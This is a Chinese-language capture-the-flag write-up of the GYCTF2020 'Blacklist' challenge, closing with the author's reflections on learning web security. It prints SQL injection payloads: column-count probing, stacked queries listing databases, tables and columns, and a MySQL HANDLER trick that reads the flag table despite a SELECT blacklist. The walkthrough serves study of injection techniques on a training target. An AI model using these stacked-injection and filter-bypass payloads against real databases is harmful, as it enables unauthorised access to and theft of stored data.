[GYCTF2020]Blacklist&说说真心话

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GYCTF2020]Blacklist&说说真心话相关的知识,希望对你有一定的参考价值。

[GYCTF2020]Blacklist&说说真心话

今天没课,就来刷刷题

对于我来说sql注入题一直是菜鸡,正好BUU还有几道题没做(我是菜鸡呜呜呜)

就来做一下[GYCTF2020]Blacklist然后整理一下

打开靶机:

发现跟[强网杯 2019]随便注很像

我就试了是:

先爆一下列

1' order by 3;# 

到4的时候报错,所以证明只有三列

然后试一下是否存在堆叠注入,试一下payload:

1';show databases;#

存在堆叠注入

接着构造payload:

1';show tables;#

看一下FlagHere

构造payload:

1';show columns from FlagHere;#

发现了flag

本来想要直接爆字段

发现ban了select 等函数

翻了翻师傅们的wp

https://blog.csdn.net/zhangxiansheng12/article/details/107247450/?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242

发现需要使用到mysql查询语句-handler

https://blog.csdn.net/JesseYoung/article/details/40785137

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

随即构造新的payload:

1';handler FlagHere open;handler FlagHere read first;#

拿到了flag:

解题环节结束,说说心里话(估计没人看,hhh):

从入行到现在,也有个小半年了,总结一下自己的学习方法。

web这一方向,太发散了,导致许多知识点平时根本想不到

所以,做题真的很重要,当然比做题更重要的是基础,我的基础不是很好,所以很吃力,也走了不少弯路。

我的wp, 肯定特别细致,因为我每一步都要思考一下为什么要这样做。

这一行,真的让我快乐,解出来题的一瞬间很爽,就像小时候玩FC上的游戏通关一样。

最后,谢谢师傅们对我的指导和帮助,爱你们哦!

以上是关于[GYCTF2020]Blacklist&说说真心话的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[GYCTF2020]Blacklist

BUUCTF[GYCTF2020]Blacklist

从[GYCTF2020]Blacklist] 学习到的 handler 语句

从[GYCTF2020]Blacklist] 学习到的 handler 语句

GYCTF Web区部分WP

[GYCTF2020]Ezsqli